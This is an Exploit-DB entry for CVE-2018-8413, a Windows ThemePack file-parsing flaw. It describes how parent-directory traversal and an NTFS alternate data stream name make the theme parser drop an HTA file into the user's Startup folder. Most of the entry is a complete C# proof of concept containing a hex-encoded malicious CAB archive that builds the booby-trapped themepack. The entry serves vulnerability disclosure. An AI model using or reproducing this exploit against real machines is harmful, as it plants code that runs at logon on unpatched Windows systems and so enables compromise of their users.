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exploitdbEduardo Braun PradoEDB-ID:47975
HistoryJan 29, 2020 - 12:00 a.m.

Microsoft Windows 10 - Theme API 'ThemePack' File Parsing

2020-01-2900:00:00
Eduardo Braun Prado
www.exploit-db.com
867
exploit
microsoft
windows 10
themepack
file parsing
cve-2018-8413
eduardo braun prado
cab format
arbitrary files
ntfs alternate data streams
poc
startup dir
visual studio
console application

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

7.6

Confidence

High

EPSS

0.971

Percentile

99.8%

# Exploit Title: Microsoft Windows 10 - Theme API 'ThemePack' File Parsing
# Google Dork: n/a
# Date: 2020-10-28
# Exploit Author: Eduardo Braun Prado
# Vendor Homepage: http://www.microsoft.com/
# Software Link: http://www.microsoft.com/
# Version: 10 v.1803 (17134.407)
# Tested on: Windows 7, 8.0, 8.1, 10, Server 2012, Server 2012 R2, Server 2016, Server 2019
# CVE : CVE-2018-8413
# Discovered by: Eduardo Braun Prado

[Details]

Microsoft 'themepack' files are classic '.theme' files compressed for
sharing over the internet. Theme files
allows users to customize visual aspects of their device, such as icons
for known features like 'My computer'
and 'trash bin' folders, the default screensaver (which by the way
allowed attackers to run '.scr' files located
on shares upon applying a Theme, in the past. Refer to: CVE-2013-0810).
ThemePack file type uses Microsoft 'CAB' format. The parser contains a
vulnerability that allows attackers
to create arbitrary files on arbitrary locations on the user´s system,
by using the classic
'parent directory' technique, and thus could lead to creation of some
executable files on the
startup folder. This executable will be run on next logon.


Conditions:


1) The 'themepack' file must contain a valid '[dot] theme' file.


The parser allows creating '.theme' files on arbitrary locations, but
the extension must be
'.theme'. There´s a trick, though, to overcome this:

NTFS Alternate Data Streams.

By using a specially crafted name like "abc.hta:[dot] theme" it´s
possible to trick the parser into
dropping a file with an '[dot] hta' extension instead of the legitimate
'[dot] theme', potentially allowing
attackers to compromise the affected systems. The '[dot] hta' extension
is a good choice since you can
merge valid code with arbitrary text or binary files.

Note: Patched on October, 2018 Microsoft monthly patch.


[PoC]

Proof of concept code that drops an 'hta' file to startup dir.


Instructions:

 - Create a new project on MS Visual Studio (any version, included free
ones like 'Express'), choose 'Console Application'

and at 'program . cs' replace the code with the code below

Note: Source code targets dot NET 4.0 and up (previous versions might
work fine though!)


using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ThemePack
{
    class Program
    {
        static void Main(string[] args)
        {
            String exeDir = AppDomain.CurrentDomain.BaseDirectory;
            Directory.SetCurrentDirectory(exeDir);

            string tmpPath = Path.GetTempPath();

            string tpd =
"4D53434600000000AB010000000000002C000000000000000301010001000000000000009500000001000100930100000000000000003C508108200061612E2E5C2E2E5C2E2E5C2E2E5C2E2E5C2E2E5C726F616D696E675C6D6963726F736F66745C77696E646F77735C7374617274206D656E755C70726F6772616D735C737461727475705C6162632E6874613A2E7468656D6500B60133780E019301434B4D51C16A023110BD07F20F5EBC5A85D2163405DDB5871645CCB215BA1ED265C0E024B364E261FDFA66534BBD8499F7DE4CDE4BE68B5374F82AC55775020747294ACB1D9A7E6B1CA88CED4C7B1ED517F4522459413E06C2D1CE78C0A6043E47EAD2D8A741EC4C074149515984FF7E7A47EAD823A85982762646085EE5A5B5E58BC14CF231732735D63D47707BA2386E02305D420BDCC4C112374B08948F8963CE7352148474BB614BC119CC8014DA5EFF90A1BC09EDD5444B3ED76A7A785A3D3FAE5EDE8AE43E18CF9D09E0DB5ECD06B5EB88ED201EDA3BAF3504CEE834A7F84E56937B5DECB77A59AF27EBC3FA37DEC6A424213FA60684365248BA4DA537AA5CAEDECB8F4A8AF9E2E1F6133F";
     
           string tpf = exeDir + "\\C00L.themepack";

            Console.WriteLine("\n\n
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
\n Microsoft Windows Theme API 'ThemePack' File Parsing Vulnerability
PoC (CVE-2018-8413)  \n\n by: Eduardo Braun Prado \n\n
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++");

            StreamWriter s = File.CreateText(tmpPath + "\\themepack000.h");

            s.Write(tpd);
          
            s.Close();

            FileStream f = File.OpenRead(tmpPath + "\\themepack000.h");

            String ax = "";


            byte[] b = new byte[f.Length];

            UTF8Encoding temp = new UTF8Encoding(false);

            while (f.Read(b, 0, b.Length) > 0)
            {
                ax = ax + temp.GetString(b);
            }


            String bx = ax.ToString();
            String cx = "";

            byte[] b02 = new byte[f.Length / 2];
            for (int i = 0; i < f.Length; i += 2)
            {
                cx = bx.Substring(i, 2);
                b02[i / 2] = Convert.ToByte(cx, 16);
            }

            File.WriteAllBytes(tpf, b02);

            if (File.Exists(tpf))
            {
                long fsize = new FileInfo(tpf).Length;

                if (fsize != 0)
                {
                    Console.WriteLine("\n\n\n Done! 'C00L." +
"themepack' file created in the current directory. Vulnerable systems
should plant an HTA on startup dir.");
                }

            }


            }
            }
            }

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

7.6

Confidence

High

EPSS

0.971

Percentile

99.8%